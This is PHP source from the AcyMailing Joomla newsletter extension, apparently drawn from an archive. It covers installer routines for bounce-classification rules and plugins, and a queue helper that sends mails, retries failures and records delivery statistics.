		$query .= '(\'ACY_RULE_FULL\', 5, \'((mailbox|mailfolder|storage|quota|space|inbox) *(is)? *(over)? *(exceeded|size|storage|allocation|full|quota|maxi))|status(-code)? *(:|=)? *5\.2\.2|quota-issue|not *enough.{1,20}space|((over|exceeded|full|exhausted) *(allowed)? *(mail|storage|quota))\', \'a:2:{s:7:"subject";s:1:"1";s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:3:{s:5:"stats";s:1:"1";s:3:"min";s:1:"3";s:5:"block";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_GOOGLE\', 6, \'message *rejected *by *Google *Groups\',  \'a:1:{s:4:"body";s:1:"1";}\', \'a:2:{s:6:"delete";s:1:"1";s:9:"forwardto";s:'.$forwardEmail.';}\', \'a:2:{s:5:"stats";s:1:"1";s:3:"min";s:1:"0";}\', 1),';
		$query .= '(\'ACY_RULE_EXIST1\', 7, \'(Invalid|no such|unknown|bad|des?activated|inactive|unrouteable) *(mail|destination|recipient|user|address|person)|bad-mailbox|inactive-mailbox|not listed in.{1,20}directory|RecipNotFound|(user|mailbox|address|recipients?|host|account|domain) *(is|has been)? *(error|disabled|failed|unknown|unavailable|not *(found|available)|.{1,30}inactiv)|no *mailbox *here|user does.?n.t have.{0,30}account\', \'a:2:{s:7:"subject";s:1:"1";s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:3:{s:5:"stats";s:1:"1";s:3:"min";s:1:"0";s:5:"block";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_FILTERED\',8, \'blocked *by|block *list|look(ed)? *like *spam|spam-related|spam *detected| CXBL | CDRBL | IPBL | URLBL |(unacceptable|banned|offensive|filtered|blocked|unsolicited) *(content|message|e?-?mail)|service refused|(status(-code)?|554) *(:|=)? *5\.7\.1|administratively *denied|blacklisted *IP|policy *reasons|rejected.{1,10}spam|junkmail *rejected|throttling *constraints|exceeded.{1,10}max.{1,40}hour|comply with required standards|421 RP-00|550 SC-00|550 DY-00|550 OU-00\', \'a:1:{s:4:"body";s:1:"1";}\', \'a:2:{s:6:"delete";s:1:"1";s:9:"forwardto";s:'.$forwardEmail.';}\', \'a:2:{s:5:"stats";s:1:"1";s:3:"min";s:1:"0";}\', 1),';
		$query .= '(\'ACY_RULE_EXIST2\', 9, \'status(-code)? *(:|=)? *5\.(1\.[1-6]|0\.0|4\.[0123467])|recipient *address *rejected|does *not *like *recipient\', \'a:2:{s:7:"subject";s:1:"1";s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:3:{s:5:"stats";s:1:"1";s:3:"min";s:1:"0";s:5:"block";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_DOMAIN\', 10, \'No.{1,10}MX *(record|host)|host *does *not *receive *any *mail|bad-domain|connection.{1,10}mail.{1,20}fail|domain.{1,10}not *exist|fail.{1,10}establish *connection\', \'a:2:{s:7:"subject";s:1:"1";s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:3:{s:5:"stats";s:1:"1";s:3:"min";s:1:"0";s:5:"block";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_TEMPORAR\', 11, \'has.*been.*delayed|delayed *mail|message *delayed|message-expired|temporar(il)?y *(failure|unavailable|disable|offline|unable)|deferred|delayed *([0-9]*) *(hour|minut)|possible *mail *loop|too *many *hops|delivery *time *expired|Action: *delayed|status(-code)? *(:|=)? *4\.4\.6|will continue to be attempted\', \'a:2:{s:7:"subject";s:1:"1";s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:3:{s:5:"stats";s:1:"1";s:3:"min";s:1:"3";s:5:"block";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_PERMANENT\', 12, \'failed *permanently|permanent.{1,20}(failure|error)|not *accepting *(any)? *mail|does *not *exist|no *valid *route|delivery *failure\', \'a:2:{s:7:"subject";s:1:"1";s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:3:{s:5:"stats";s:1:"1";s:3:"min";s:1:"0";s:5:"block";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_ACKNOWLEDGE_BODY\', 13, \'vacances|holiday|vacation|absen|urlaub\', \'a:1:{s:4:"body";s:1:"1";}\', \'a:1:{s:6:"delete";s:1:"1";}\', \'a:1:{s:3:"min";s:1:"0";}\', 1),';
		$query .= '(\'ACY_RULE_FINAL\', 14, \'.\', \'a:2:{s:10:"senderinfo";s:1:"1";s:7:"subject";s:1:"1";}\', \'a:2:{s:6:"delete";s:1:"1";s:9:"forwardto";s:'.$forwardEmail.';}\', \'a:1:{s:3:"min";s:1:"0";}\', 1)';

		acymailing_query($query);

		$newConfig = new stdClass();
		$newConfig->bouncerulesversion = $this->bouncerulesversion;
		$config->save($newConfig);
	}


	function installExtensions(){
		$path = ACYMAILING_BACK.'extensions';
		$dirs = acymailing_getFolders($path);

		if(!ACYMAILING_J16){
			if(file_exists(ACYMAILING_BACK.'config.xml')) acymailing_deleteFile(ACYMAILING_BACK.'config.xml');

			$query = "SELECT CONCAT(`folder`,`element`) FROM #__plugins WHERE `folder` = 'acymailing' OR `element` LIKE '%acy%'";
			$query .= " UNION SELECT `module` FROM #__modules WHERE `module` LIKE '%acymailing%'";
			$existingExtensions = acymailing_loadResultArray($query);
		}else{

			$existingExtensions = acymailing_loadResultArray("SELECT CONCAT(`folder`,`element`) FROM #__extensions WHERE `folder` = 'acymailing' OR `element` LIKE '%acy%' OR `name` LIKE '%acy%'");
		}
		
		$plugins = array();
		$modules = array();
		$extensioninfo = array(); //array('name','ordering','required table or published')
		$extensioninfo['mod_acymailing'] = array('AcyMailing Module');
		$extensioninfo['plg_acymailing_share'] = array('AcyMailing : share on social networks', 20, 1);
		$extensioninfo['plg_acymailing_contentplugin'] = array('AcyMailing : trigger Joomla Content plugins', 15, 0);
		$extensioninfo['plg_acymailing_managetext'] = array('AcyMailing Manage text', 10, 1);
		$extensioninfo['plg_acymailing_tablecontents'] = array('AcyMailing table of contents generator', 5, 1);
		$extensioninfo['plg_acymailing_online'] = array('AcyMailing Tag : Website links', 6, 1);
		$extensioninfo['plg_acymailing_stats'] = array('AcyMailing : Statistics Plugin', 50, 1);
		$extensioninfo['plg_acymailing_tagcbuser'] = array('AcyMailing Tag : CB User information', 4, '#__comprofiler');
		$extensioninfo['plg_acymailing_tagcontent'] = array('AcyMailing Tag : content insertion', 11, 1);
		$extensioninfo['plg_acymailing_tagmodule'] = array('AcyMailing Tag : Insert a Module', 12, 1);
		$extensioninfo['plg_acymailing_tagsubscriber'] = array('AcyMailing Tag : Subscriber information', 2, 1);
		$extensioninfo['plg_acymailing_tagsubscription'] = array('AcyMailing Tag : Manage the Subscription', 1, 1);
		$extensioninfo['plg_acymailing_tagtime'] = array('AcyMailing Tag : Date / Time', 5, 1);
		$extensioninfo['plg_acymailing_taguser'] = array('AcyMailing Tag : Joomla User Information', 3, 1);
		$extensioninfo['plg_acymailing_template'] = array('AcyMailing Template Class Replacer', 52, 1);
		$extensioninfo['plg_acymailing_urltracker'] = array('AcyMailing : Handle Click tracking part1', 24, 1);
		$extensioninfo['plg_system_acymailingurltracker'] = array('AcyMailing : Handle Click tracking part2', 1, 1);
		$extensioninfo['plg_system_regacymailing'] = array('AcyMailing : (auto)Subscribe during Joomla registration', 0, 1);
		$extensioninfo['plg_editors_acyeditor'] = array('AcyMailing Editor', 5, 1);
		$extensioninfo['plg_acymailing_geolocation'] = array('AcyMailing Geolocation : Tag and filter', 10, 1);
		$extensioninfo['plg_acymailing_plginboxactions'] = array('AcyMailing : Inbox actions', 0, 1);
		$extensioninfo['plg_system_acymailingclassmail'] = array('Override Joomla mailing system', 1, 0);
		$extensioninfo['plg_acymailing_calltoaction'] = array('AcyMailing Tag : Call to action', 22, 1);
		$extensioninfo['plg_system_jceacymailing'] = array('AcyMailing JCE integration', 23, 1);
		$extensioninfo['plg_system_sendinarticle'] = array('AcyMailing : Send mail while editing an article', 10, 1);

		$listTables = acymailing_getTableList();
		$fromVersion = acymailing_getVar('cmd', 'fromversion');

		foreach($dirs as $oneDir){
			$arguments = explode('_', $oneDir);
			if(!isset($extensioninfo[$oneDir])) continue;

			$additionalInfo = new stdClass();
			if($arguments[0] == 'mod') $arguments[2] = $oneDir;
			if(ACYMAILING_J16 && !empty($arguments[2]) && file_exists($path.DS.$oneDir.DS.$arguments[2].'.xml')){
				$xmlFile = simplexml_load_file($path.DS.$oneDir.DS.$arguments[2].'.xml');
				$additionalInfo->version = (string)$xmlFile->version;
				$additionalInfo->author = (string)$xmlFile->author;
				$additionalInfo->creationDate = (string)$xmlFile->creationDate;

				$extension = $arguments[0] == 'mod' ? $oneDir : $arguments[1].$arguments[2];

				if(in_array($extension, $existingExtensions) && version_compare($fromVersion, '4.8.1', '<')){
					$query = "UPDATE `#__extensions` SET `manifest_cache` = ".acymailing_escapeDB(json_encode($additionalInfo))." WHERE (type = ";
					if($arguments[0] == 'mod'){
						$query .= "'module' AND `element` = ".acymailing_escapeDB($oneDir).")";
					}else{
						$query .= "'plugin' AND folder = ".acymailing_escapeDB($arguments[1])." AND `element` = ".acymailing_escapeDB($arguments[2]).")";
					}
					acymailing_query($query);
				}
			}

			if($arguments[0] == 'plg'){
				$newPlugin = new stdClass();
				if(!empty($additionalInfo)) $newPlugin->additionalInfo = json_encode($additionalInfo);
				$newPlugin->name = $oneDir;
				if(isset($extensioninfo[$oneDir][0])) $newPlugin->name = $extensioninfo[$oneDir][0];
				$newPlugin->type = 'plugin';
				$newPlugin->folder = $arguments[1];
				$newPlugin->element = $arguments[2];
				$newPlugin->enabled = 1;
				if(isset($extensioninfo[$oneDir][2])){
					if(is_numeric($extensioninfo[$oneDir][2])){
						$newPlugin->enabled = $extensioninfo[$oneDir][2];
					}elseif(!in_array(str_replace('#__', acymailing_getPrefix(), $extensioninfo[$oneDir][2]), $listTables)) $newPlugin->enabled = 0;
				}
				$newPlugin->params = '{}';
				$newPlugin->ordering = 0;
				if(isset($extensioninfo[$oneDir][1])) $newPlugin->ordering = $extensioninfo[$oneDir][1];

				if(!acymailing_createDir(ACYMAILING_ROOT.'plugins'.DS.$newPlugin->folder)) continue;

				if(!ACYMAILING_J16){
					$destinationFolder = ACYMAILING_ROOT.'plugins'.DS.$newPlugin->folder;
				}else{
					$destinationFolder = ACYMAILING_ROOT.'plugins'.DS.$newPlugin->folder.DS.$newPlugin->element;
					if(!acymailing_createDir($destinationFolder)) continue;
				}

				if(!$this->copyFolder($path.DS.$oneDir, $destinationFolder)) continue;

				if(in_array($newPlugin->folder.$newPlugin->element, $existingExtensions)) continue;

				$plugins[] = $newPlugin;
			}elseif($arguments[0] == 'mod'){
				$newModule = new stdClass();
				if(!empty($additionalInfo)) $newModule->additionalInfo = json_encode($additionalInfo);
				$newModule->name = $oneDir;
				if(isset($extensioninfo[$oneDir][0])) $newModule->name = $extensioninfo[$oneDir][0];
				$newModule->type = 'module';
				$newModule->folder = '';
				$newModule->element = $oneDir;
				$newModule->enabled = 1;
				$newModule->params = '{}';
				$newModule->ordering = 0;
				if(isset($extensioninfo[$oneDir][1])) $newModule->ordering = $extensioninfo[$oneDir][1];

				$destinationFolder = ACYMAILING_ROOT.'modules'.DS.$oneDir;

				if(!acymailing_createDir($destinationFolder)) continue;

				if(!$this->copyFolder($path.DS.$oneDir, $destinationFolder)) continue;

				if(in_array($newModule->element, $existingExtensions)) continue;

				$modules[] = $newModule;
			}else{
				acymailing_enqueueMessage('Could not handle : '.$oneDir, 'error');
			}
		}

		if(!empty($this->errors)) acymailing_enqueueMessage($this->errors, 'error');

		if(!ACYMAILING_J16){
			$extensions = $plugins;
		}else{
			$extensions = array_merge($plugins, $modules);
		}

		$success = array();
		if(!empty($extensions)){
			if(!ACYMAILING_J16){
				$queryExtensions = 'INSERT INTO `#__plugins` (`name`,`element`,`folder`,`published`,`ordering`) VALUES ';
			}else{
				$queryExtensions = 'INSERT INTO `#__extensions` (`name`,`element`,`folder`,`enabled`,`ordering`,`type`,`access`,`manifest_cache`,`client_id`,`params`) VALUES ';
			}

			foreach($extensions as $oneExt){
				$queryExtensions .= '('.acymailing_escapeDB($oneExt->name).','.acymailing_escapeDB($oneExt->element).','.acymailing_escapeDB($oneExt->folder).','.$oneExt->enabled.','.$oneExt->ordering;
				if(ACYMAILING_J16) $queryExtensions .= ','.acymailing_escapeDB($oneExt->type).',1,'.acymailing_escapeDB(!empty($oneExt->additionalInfo) ? $oneExt->additionalInfo : '').",0,'{}'";
				$queryExtensions .= '),';
				if($oneExt->type != 'module') $success[] = acymailing_translation_sprintf('PLUG_INSTALLED', $oneExt->name);
			}
			$queryExtensions = trim($queryExtensions, ',');

			acymailing_query($queryExtensions);
		}

		if(!empty($modules)){
			foreach($modules as $oneModule){
				if(!ACYMAILING_J16){
					$queryModule = 'INSERT INTO `#__modules` (`title`,`position`,`published`,`module`) VALUES ';
					$queryModule .= '('.acymailing_escapeDB($oneModule->name).",'left',0,".acymailing_escapeDB($oneModule->element).")";
				}else{
					$queryModule = 'INSERT INTO `#__modules` (`title`,`position`,`published`,`module`,`access`,`language`,`client_id`,`params`) VALUES ';
					$queryModule .= '('.acymailing_escapeDB($oneModule->name).",'position-7',0,".acymailing_escapeDB($oneModule->element).",1,'*',0,'{}')";
				}
				acymailing_query($queryModule);
				$moduleId = acymailing_insertID();

				acymailing_query('INSERT IGNORE INTO `#__modules_menu` (`moduleid`,`menuid`) VALUES ('.$moduleId.',0)');

				$success[] = acymailing_translation_sprintf('MODULE_INSTALLED', $oneModule->name);
			}
		}

		if(ACYMAILING_J16){
			acymailing_query("UPDATE `#__extensions` SET `access` = 1 WHERE ( `folder` = 'acymailing' OR `element` LIKE '%acymailing%' ) AND `type` = 'plugin'");
		}

		$this->cleanPluginCache();

		if(!empty($success)) acymailing_enqueueMessage($success, 'success');
	}

	function copyFolder($from, $to){
		$return = true;

		$allFiles = acymailing_getFiles($from);
		foreach($allFiles as $oneFile){
			if(file_exists($to.DS.'index.html') AND $oneFile == 'index.html') continue;
			if(acymailing_copyFile($from.DS.$oneFile, $to.DS.$oneFile) !== true){
				$this->errors[] = 'Could not copy the file from '.$from.DS.$oneFile.' to '.$to.DS.$oneFile;
				$return = false;
			}
			if(ACYMAILING_J30 && substr($oneFile, -4) == '.xml'){
				$data = file_get_contents($to.DS.$oneFile);
				if(strpos($data, '<install ') !== false){
					$data = str_replace(array('<install ', '</install>', 'version="1.5"', '<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">'), array('<extension ', '</extension>', 'version="2.5"', ''), $data);
					acymailing_writeFile($to.DS.$oneFile, $data);
				}
			}
		}
		$allFolders = acymailing_getFolders($from);
		if(!empty($allFolders)){
			foreach($allFolders as $oneFolder){
				if(!acymailing_createDir($to.DS.$oneFolder)) continue;
				if(!$this->copyFolder($from.DS.$oneFolder, $to.DS.$oneFolder)) $return = false;
			}
		}
		return $return;
	}

	public function cleanPluginCache(){
		if(!ACYMAILING_J16 || !class_exists('JCache')) return;

		$options = array('defaultgroup' => 'com_plugins', 'cachebase' => acymailing_getCMSConfig('cache_path', ACYMAILING_ROOT.'cache'));

		$cache = JCache::getInstance('callback', $options);
		$cache->clean();

		$resultsTrigger = acymailing_trigger('onContentCleanCache', $options);
	}

	function installLanguages($output = true){
		$siteLanguages = acymailing_getLanguages();
		if(!empty($siteLanguages[ACYMAILING_DEFAULT_LANGUAGE])) unset($siteLanguages[ACYMAILING_DEFAULT_LANGUAGE]);

		$installedLanguages = array_keys($siteLanguages);
		if(empty($installedLanguages)) return;

		if(!$output) {
			$newConfig = new stdClass();
			$newConfig->installlang = implode(',', $installedLanguages);
			$config = acymailing_config();
			$config->save($newConfig);
			return;
		}
		
		$js = '
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "' . acymailing_prepareAjaxURL('file') . '&task=installLanguages&languages=' . implode(',', $installedLanguages) . '");
			xhr.onload = function(){
				container = document.getElementById("acymailing_div");
				container.innerHTML = xhr.responseText+container.innerHTML;
			};
			xhr.send();';
		acymailing_addScript(true, $js);
	}
}
com_acymailing/helpers/queue.php000060400000033770152455305300013026 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyqueueHelper{

	var $mailid = 0;
	var $report = true;
	var $send_limit = 0;
	var $finish = false;
	var $error = false;
	var $nbprocess = 0;
	var $start = 0;
	var $stoptime = 0;
	var $successSend = 0;
	var $errorSend = 0;
	var $consecutiveError = 0;
	var $messages = array();
	var $pause = 0;
	var $config;
	var $listsubClass;
	var $subClass;
	var $mod_security2 = false;
	var $obend = 0;
	var $emailtypes = array();

	public function __construct(){
		$this->config = acymailing_config();
		$this->subClass = acymailing_get('class.subscriber');
		$this->listsubClass = acymailing_get('class.listsub');
		$this->listsubClass->checkAccess = false;
		$this->listsubClass->sendNotif = false;
		$this->listsubClass->sendConf = false;

		$this->send_limit = (int)$this->config->get('queue_nbmail', 40);

		acymailing_increasePerf();

		@ini_set('default_socket_timeout', 10);

		@ignore_user_abort(true);

		$timelimit = intval(ini_get('max_execution_time'));
		if(empty($timelimit)) $timelimit = 600;

		$calculatedTimeout = $this->config->get('max_execution_time');
		if(!empty($calculatedTimeout)) $timelimit = $calculatedTimeout;

		if(!empty($timelimit)){
			$this->stoptime = time() + $timelimit - 4;
		}
	}

	public function process(){

		$queueClass = acymailing_get('class.queue');
		$queueClass->emailtypes = $this->emailtypes;
		$queueElements = $queueClass->getReady($this->send_limit, $this->mailid);

		if(empty($queueElements)){
			$this->finish = true;
			if($this->report){
				acymailing_display('<a href="'.acymailing_completeLink('queue').'" target="_blank">'.acymailing_translation('NO_PROCESS').'</a>', 'warning');
			}
			return true;
		}

		if($this->report){
			if(function_exists('apache_get_modules')){
				$modules = apache_get_modules();
				$this->mod_security2 = in_array('mod_security2', $modules);
			}

			@ini_set('output_buffering', 'off');
			@ini_set('zlib.output_compression', 0);

			if(!headers_sent()){
				while(ob_get_level() > 0 && $this->obend++ < 3){
					@ob_end_flush();
				}
			}

			$disp = '<html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" />';
			$disp .= '<title>'.acymailing_translation('SEND_PROCESS').'</title>';
			$disp .= '<style>body{font-size:12px;font-family: Arial,Helvetica,sans-serif;}</style></head><body>';
			$disp .= '<div style="margin-bottom: 18px;padding: 8px !important; background-color: #fcf8e3; border: 1px solid #fbeed5; border-radius: 4px;"><p style="margin:0;">'.acymailing_translation('ACY_DONT_CLOSE').'</p></div>';
			$disp .= "<div style='display: inline;background-color : white;border : 1px solid grey; padding : 3px;font-size:14px'>";
			$disp .= "<span id='divpauseinfo' style='padding:10px;margin:5px;font-size:16px;font-weight:bold;display:none;background-color:black;color:white;'> </span>";
			$disp .= acymailing_translation('SEND_PROCESS').': <span id="counter" >'.$this->start.'</span> / '.$this->total;
			$disp .= '</div>';
			$disp .= "<div id='divinfo' style='display:none; position:fixed; bottom:3px;left:3px;background-color : white; border : 1px solid grey; padding : 3px;'> </div>";
			$disp .= '<br /><br />';
			$url = acymailing_completeLink('send&task=continuesend&mailid='.$this->mailid.'&totalsend='.$this->total, true, true).'&alreadysent=';
			$disp .= '<script type="text/javascript" language="javascript">';
			$disp .= 'var mycounter = document.getElementById("counter");';
			$disp .= 'var divinfo = document.getElementById("divinfo");
					var divpauseinfo = document.getElementById("divpauseinfo");
					function setInfo(message){ divinfo.style.display = \'block\';divinfo.innerHTML=message; }
					function setPauseInfo(nbpause){ divpauseinfo.style.display = \'\';divpauseinfo.innerHTML=nbpause;}
					function setCounter(val){ mycounter.innerHTML=val;}
					var scriptpause = '.intval($this->pause).';
					function handlePause(){
						setPauseInfo(scriptpause);
						if(scriptpause > 0){
							scriptpause = scriptpause - 1;
							setTimeout(\'handlePause()\',1000);
						}else{
							document.location.href=\''.$url.'\'+mycounter.innerHTML;
						}
					}
					</script>';
			echo $disp;
			if(function_exists('ob_flush')) @ob_flush();
			if(!$this->mod_security2) @flush();
		}//endifreport

		$mailHelper = acymailing_get('helper.mailer');
		$mailHelper->report = false;
		if($this->config->get('smtp_keepalive', 1) || in_array($this->config->get('mailer_method'), array('elasticemail'))) $mailHelper->SMTPKeepAlive = true;

		$queueDelete = array();
		$queueUpdate = array();
		$statsAdd = array();
		$actionSubscriber = array();

		$maxTry = (int)$this->config->get('queue_try', 0);

		$currentMail = $this->start;
		$this->nbprocess = 0;

		if(count($queueElements) < $this->send_limit){
			$this->finish = true;
		}

		foreach($queueElements as $oneQueue){
			$currentMail++;
			$this->nbprocess++;
			if($this->report){
				echo '<script type="text/javascript" language="javascript">setCounter('.$currentMail.')</script>';
				if(function_exists('ob_flush')) @ob_flush();
				if(!$this->mod_security2){
					@flush();
				}
			}

			$result = $mailHelper->sendOne($oneQueue->mailid, $oneQueue);

			$queueDeleteOk = true;
			$otherMessage = '';

			if($result){
				$this->successSend++;
				$this->consecutiveError = 0;
				$queueDelete[$oneQueue->mailid][] = $oneQueue->subid;
				$statsAdd[$oneQueue->mailid][1][(int)$mailHelper->sendHTML][] = $oneQueue->subid;

				$queueDeleteOk = $this->_deleteQueue($queueDelete);
				$queueDelete = array();

				if($this->nbprocess % 10 == 0){
					$this->statsAdd($statsAdd);
					$this->_queueUpdate($queueUpdate);
					$statsAdd = array();
					$queueUpdate = array();
				}
			}else{
				$this->errorSend++;

				$newtry = false;
				if(in_array($mailHelper->errorNumber, $mailHelper->errorNewTry)){
					if(empty($maxTry) OR $oneQueue->try < $maxTry - 1){
						$newtry = true;
						$otherMessage = acymailing_translation_sprintf('QUEUE_NEXT_TRY', 60);
					}
					if($mailHelper->errorNumber == 1) $this->consecutiveError++;
					if($this->consecutiveError == 2) sleep(1);
				}

				if(!$newtry){
					$queueDelete[$oneQueue->mailid][] = $oneQueue->subid;
					$statsAdd[$oneQueue->mailid][0][(int)@$mailHelper->sendHTML][] = $oneQueue->subid;
					if($mailHelper->errorNumber == 1 AND $this->config->get('bounce_action_maxtry')){
						$queueDeleteOk = $this->_deleteQueue($queueDelete);
						$queueDelete = array();
						$otherMessage .= $this->_subscriberAction($oneQueue->subid);
					}
				}else{
					$queueUpdate[$oneQueue->mailid][] = $oneQueue->subid;
				}
			}

			$messageOnScreen = '[ ID '.$oneQueue->mailid.'] '.$mailHelper->reportMessage;
			if(!empty($otherMessage)) $messageOnScreen .= ' => '.$otherMessage;
			$this->_display($messageOnScreen, $result, $currentMail);

			if(!$queueDeleteOk){
				$this->finish = true;
				break;
			}

			if(!empty($this->stoptime) AND $this->stoptime < time()){
				$this->_display(acymailing_translation('SEND_REFRESH_TIMEOUT'));
				if($this->nbprocess < count($queueElements)) $this->finish = false;
				break;
			}

			if($this->consecutiveError > 3 AND $this->successSend > 3){
				$this->_display(acymailing_translation('SEND_REFRESH_CONNECTION'));
				break;
			}

			if($this->consecutiveError > 5 OR connection_aborted()){
				$this->finish = true;
				break;
			}
		}

		$this->_deleteQueue($queueDelete);
		$this->statsAdd($statsAdd);
		$this->_queueUpdate($queueUpdate);

		if($mailHelper->SMTPKeepAlive) $mailHelper->smtpClose();

		if(!empty($this->total) AND $currentMail >= $this->total){
			$this->finish = true;
		}

		if($this->consecutiveError > 5){
			$this->_handleError();
			return false;
		}

		if($this->report && !$this->finish){
			echo '<script type="text/javascript" language="javascript">handlePause();</script>';
		}

		if($this->report){
			echo "</body></html>";
			while($this->obend-- > 0){
				ob_start();
			}
			exit;
		}

		return true;
	}

	private function _deleteQueue($queueDelete){
		if(empty($queueDelete)) return true;
		$status = true;

		foreach($queueDelete as $mailid => $subscribers){
			$nbsub = count($subscribers);
			$query = 'DELETE FROM '.acymailing_table('queue').' WHERE mailid = '.intval($mailid).' AND subid IN ('.implode(',', $subscribers).') LIMIT '.$nbsub;
			$res = acymailing_query($query);
			if($res === false){
				$status = false;
				$this->_display(acymailing_getDBError());
			}else{
				$nbdeleted = $res;
				if($nbdeleted != $nbsub){
					$status = false;
					$this->_display($nbdeleted < $nbsub ? acymailing_translation('QUEUE_DOUBLE') : $nbdeleted.' emails deleted from the queue whereas we only have '.$nbsub.' subscribers');
				}
			}
		}

		return $status;
	}


	public function statsAdd($statsAdd){

		if(empty($statsAdd)) return true;

		$time = time();


		$subids = array();

		foreach($statsAdd as $mailid => $infos){
			$mailid = intval($mailid);

			foreach($infos as $status => $infosSub){
				foreach($infosSub as $html => $subscribers){

					$query = 'INSERT INTO '.acymailing_table('userstats').' (mailid,subid,html,sent,fail,senddate) VALUES ';
					$query .= '('.$mailid.','.implode(','.$html.','.($status ? 1 : 0).','.($status ? 0 : 1).','.$time.'),('.$mailid.',', $subscribers).','.$html.','.($status ? 1 : 0).','.($status ? 0 : 1).','.$time.') ';
					$query .= 'ON DUPLICATE KEY UPDATE html = '.$html.',sent = sent + '.($status ? 1 : 0).', fail = '.($status ? '0' : 'fail + 1').', senddate = '.$time;
					acymailing_query($query);

					if($status){
						$subids = array_merge($subids, $subscribers);
					}
				}
			}

			$nbhtml = empty($infos[1][1]) ? 0 : count($infos[1][1]); //nbhtml sent
			$nbtext = empty($infos[1][0]) ? 0 : count($infos[1][0]); //nbtext sent
			$nbfail = 0;
			if(!empty($infos[0][0])) $nbfail += count($infos[0][0]); //fail text version
			if(!empty($infos[0][1])) $nbfail += count($infos[0][1]); //fail html version

			$query = 'INSERT INTO '.acymailing_table('stats').' (mailid,senthtml,senttext,fail,senddate) ';
			$query .= 'VALUES ('.$mailid.','.$nbhtml.', '.$nbtext.', '.$nbfail.', '.$time.') ';
			$query .= 'ON DUPLICATE KEY UPDATE senthtml = senthtml + '.$nbhtml.', senttext = senttext + '.$nbtext.', fail = fail + '.$nbfail.', senddate = '.$time;
			acymailing_query($query);
		}

		if(!empty($subids)){
			acymailing_query('UPDATE #__acymailing_subscriber SET `lastsent_date` = '.time().' WHERE `subid` IN ('.implode(',', $subids).')');
		}
	}

	private function _queueUpdate($queueUpdate){
		if(empty($queueUpdate)) return true;

		$delay = 3600;


		foreach($queueUpdate as $mailid => $subscribers){
			$query = 'UPDATE '.acymailing_table('queue').' SET senddate = senddate + '.$delay.', try = try +1 WHERE mailid = '.$mailid.' AND subid IN ('.implode(',', $subscribers).')';
			acymailing_query($query);
		}
	}

	private function _handleError(){
		$this->finish = true;
		$message = acymailing_translation('SEND_STOPED');
		$message .= '<br />';
		$message .= acymailing_translation('SEND_KEPT_ALL');
		$message .= '<br />';
		if($this->report){
			if(empty($this->successSend) AND empty($this->start)){
				$message .= acymailing_translation('SEND_CHECKONE');
				$message .= '<br />';
				$message .= acymailing_translation('SEND_ADVISE_LIMITATION');
			}else{
				$message .= acymailing_translation('SEND_REFUSE');
				$message .= '<br />';
				if(!acymailing_level(1)){
					$message .= acymailing_translation('SEND_CONTINUE_COMMERCIAL');
				}else{
					$message .= acymailing_translation('SEND_CONTINUE_AUTO');
				}
			}
		}

		$this->_display($message);
	}

	private function _display($message, $status = '', $num = ''){
		$this->messages[] = strip_tags($message);

		if(!$this->report) return;

		if(!empty($num)){
			$color = $status ? 'green' : 'red';
			echo '<br />'.$num.' : <span style="color:'.$color.';">'.$message.'</span>';
		}else{
			echo '<script type="text/javascript" language="javascript">setInfo(\''.addslashes($message).'\')</script>';
		}
		if(function_exists('ob_flush')) @ob_flush();
		if(!$this->mod_security2){
			@flush();
		}
	}

	private function _subscriberAction($subid){
		if($this->config->get('bounce_action_maxtry') == 'delete'){
			$this->subClass->delete($subid);
			return ' user '.$subid.' deleted';
		}
		$listId = 0;
		if(in_array($this->config->get('bounce_action_maxtry'), array('sub', 'remove', 'unsub'))){
			$status = $this->subClass->getSubscriptionStatus($subid);
		}
		$message = '';
		switch($this->config->get('bounce_action_maxtry')){
			case 'sub' :
				$listId = $this->config->get('bounce_action_lists_maxtry');
				if(!empty($listId)){
					$message .= ' user '.$subid.' subscribed to '.$listId;
					if(empty($status[$listId])){
						$this->listsubClass->addSubscription($subid, array('1' => array($listId)));
					}elseif($status[$listId]->status != 1){
						$this->listsubClass->updateSubscription($subid, array('1' => array($listId)));
					}
				}
			case 'remove' :
				$unsubLists = array_diff(array_keys($status), array($listId));
				if(!empty($unsubLists)){
					$message .= ' user '.$subid.' removed from lists '.implode(',', $unsubLists);
					$this->listsubClass->removeSubscription($subid, $unsubLists);
				}else{
					$message .= ' user '.$subid.' not subscribed';
				}
				break;
			case 'unsub' :
				$unsubLists = array_diff(array_keys($status), array($listId));
				if(!empty($unsubLists)){
					$message .= ' user '.$subid.' unsubscribed from lists '.implode(',', $unsubLists);
					$this->listsubClass->updateSubscription($subid, array('-1' => $unsubLists));
				}else{
					$message .= ' user '.$subid.' not subscribed';
				}
				break;
			case 'delete' :
				$message .= ' user '.$subid.' deleted';
				$this->subClass->delete($subid);
				break;
			case 'block' :
				$message .= ' user '.$subid.' blocked';
				acymailing_query('UPDATE `#__acymailing_subscriber` SET `enabled` = 0 WHERE `subid` = '.intval($subid));
				acymailing_query('DELETE FROM `#__acymailing_queue` WHERE `subid` = '.intval($subid));
				break;
		}
		return $message;
